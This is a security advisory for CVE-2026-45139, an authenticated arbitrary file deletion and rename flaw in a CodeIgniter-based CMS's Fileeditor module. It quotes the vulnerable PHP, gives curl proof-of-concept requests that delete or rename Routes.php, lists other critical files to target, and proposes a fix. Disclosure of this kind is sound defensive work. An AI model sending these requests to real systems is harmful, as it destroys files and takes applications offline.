CVE-2026-45139

## Summary The Fileeditor module enforces an extension allowlist (`['css','js','html','txt','json','sql','md']`) on content-write operations (`saveFile`, `createFile`), but two destructive endpoints — `deleteFileOrFolder` and `renameFile` — never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small `$hiddenItems` blocklist. Critical framework files such as `app/Config/Routes.php`, `app/Config/App.php`, `app/Config/Database.php`, `app/Config/Filters.php`, `public/index.php`, and `public/.htaccess` all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover. ## Details Root cause: inconsistent application of the extension allowlist across Fileeditor operations in `modules/Fileeditor/Controllers/Fileeditor.php`. The class declares an allowlist used by content-write operations: ```php // modules/Fileeditor/Controllers/Fileeditor.php:9 protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md']; // line 239 private function allowedFileTypes(string $file): bool { $extension = pathinfo($file, PATHINFO_EXTENSION); if (!in_array(strtolower($extension), $this->allowedExtensions)) { return false; } return true; } ``` `saveFile` (line 110) and `createFile` (line 167) correctly call `allowedFileTypes()` against the target path before writing. The two destructive endpoints do not: ```php // deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237 public function deleteFileOrFolder() { $valData = ([ 'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'], ]); if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors()); $path = $this->request->getVar('path'); if ($this->isHiddenPath($path)) { return $this->failForbidden(); } $fullPath = realpath(ROOTPATH . $path); if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) { return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400); } if (is_dir($fullPath)) { $result = rmdir($fullPath); } else { $result = unlink($fullPath); // executes on ANY extension } ... } ``` ```php // renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151 public function renameFile() { ... $path = $this->request->getVar('path'); if ($this->isHiddenPath($path)) { return $this->failForbidden(); } $newName = $this->request->getVar('newName'); $fullPath = realpath(ROOTPATH . $path); $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName; if (!$this->allowedFileTypes($newName)) // <— only the destination is checked return $this->failForbidden(); ... if (rename($fullPath, $newPath)) { ... } // source extension never validated } ``` The validation gauntlet a path traverses before reaching `unlink()`/`rename()`: 1. **Regex** `/^[a-zA-Z0-9_ \-\.\/]+$/` — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches `app/Config/Routes.php` trivially). 2. **`isHiddenPath()`** — only blocks paths whose individual segments equal an entry in `$hiddenItems`: ```php // modules/Fileeditor/Controllers/Fileeditor.php:10-26 protected $hiddenItems = [ '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor', 'writable', '.env', 'env', 'composer.json', 'composer.lock', 'tests', 'spark', 'phpunit.xml.dist', 'preload.php' ]; ``` Critical CodeIgniter 4 framework files (`app`, `Config`, `Routes.php`, `App.php`, `Database.php`, `Filters.php`, `public`, `index.php`, `.htaccess`) are **not** members of this list, so they pass. 3. **`realpath` + `strpos` containment** — confirms the resolved path is inside `ROOTPATH`. Routes.php, etc., are inside ROOTPATH and pass. 4. **Sink** — `unlink()` or `rename()` runs unconditionally; no extension allowlist applied. The recent security patch in commit `379ebb6` ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added `isHiddenPath()` invocations to every endpoint, addressing the previous `.env` reachability. It did **not** address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0). Authorization is provided by the `backendGuard` filter (`modules/Fileeditor/Config/FileeditorConfig.php:12-17`) routing through `Modules\Auth\Filters\Ci4MsAuthFilter`, which requires the role permission `fileeditor.delete` for `deleteFileOrFolder` and `fileeditor.update` for `renameFile`. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files). ## PoC Prerequisites: an authenticated session with `fileeditor.delete` (or `superadmin`) for step 1, and `fileeditor.update` for step 2. The application is mounted under `backend/`, not `admin/`. ```bash # 1) Arbitrary file deletion (no extension check at all) curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \ -H 'Cookie: ci_session=<admin>' \ --data-urlencode 'path=app/Config/Routes.php' # -> {"success": true} # Routes.php is unlinked. The next request fails because no routes load. Persistent DoS. # Equivalently catastrophic targets (none of these segments are in $hiddenItems): # path=public/index.php (front controller — entire app dead) # path=app/Config/App.php (core app config) # path=app/Config/Database.php (DB config) # path=app/Config/Filters.php (auth/CSRF filters) # path=public/.htaccess (rewrite + security rules) # 2) Rename .php to neutralize the file without checking the source extension curl -X POST 'https://target/backend/fileeditor/renameFile' \ -H 'Cookie: ci_session=<admin>' \ --data-urlencode 'path=app/Config/Routes.php' \ --data-urlencode 'newName=Routes.txt' # -> {"success": true} # Routes.php disappears, becomes Routes.txt. Routing dies on next request. ``` Trace verifying the validation logic for `path=app/Config/Routes.php`: - Regex `/^[a-zA-Z0-9_ \-\.\/]+$/` — matches. - `isHiddenPath('app/Config/Routes.php')` — segments `['app','Config','Routes.php']`, none in `$hiddenItems` → returns `false`. - `realpath(ROOTPATH . 'app/Config/Routes.php')` — resolves inside ROOTPATH, containment check passes. - `unlink($fullPath)` (deleteFileOrFolder, line 229) or `rename($fullPath, $newPath)` (renameFile, line 146) executes — no extension allowlist applied. ## Impact A backend user holding the Fileeditor `delete` or `update` permission can: - Delete or neutralize the front controller (`public/index.php`), routing config (`app/Config/Routes.php`), database config (`app/Config/Database.php`), filter pipeline (`app/Config/Filters.php`), web-server rules (`public/.htaccess`), or any other framework file inside the project root. - Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore). - Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small `$hiddenItems` blocklist. The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what `fileeditor.delete` plausibly authorizes for non-superadmin role holders. The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user. ## Recommended Fix Apply the same `allowedFileTypes()` allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing `realpath` containment check: ```php // In deleteFileOrFolder, after line 224: if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) { return $this->failForbidden(); } // In renameFile, alongside the existing $newName check at line 139: if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) { return $this->failForbidden(); } ``` Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. `public/templates/`, `public/uploads/`) rather than the entire `ROOTPATH`, and to extend `$hiddenItems` (or replace it with a denylist of full path prefixes) so that `app/Config`, `public/index.php`, `public/.htaccess`, and similar framework artefacts cannot be reached even by symlink or alternate casing.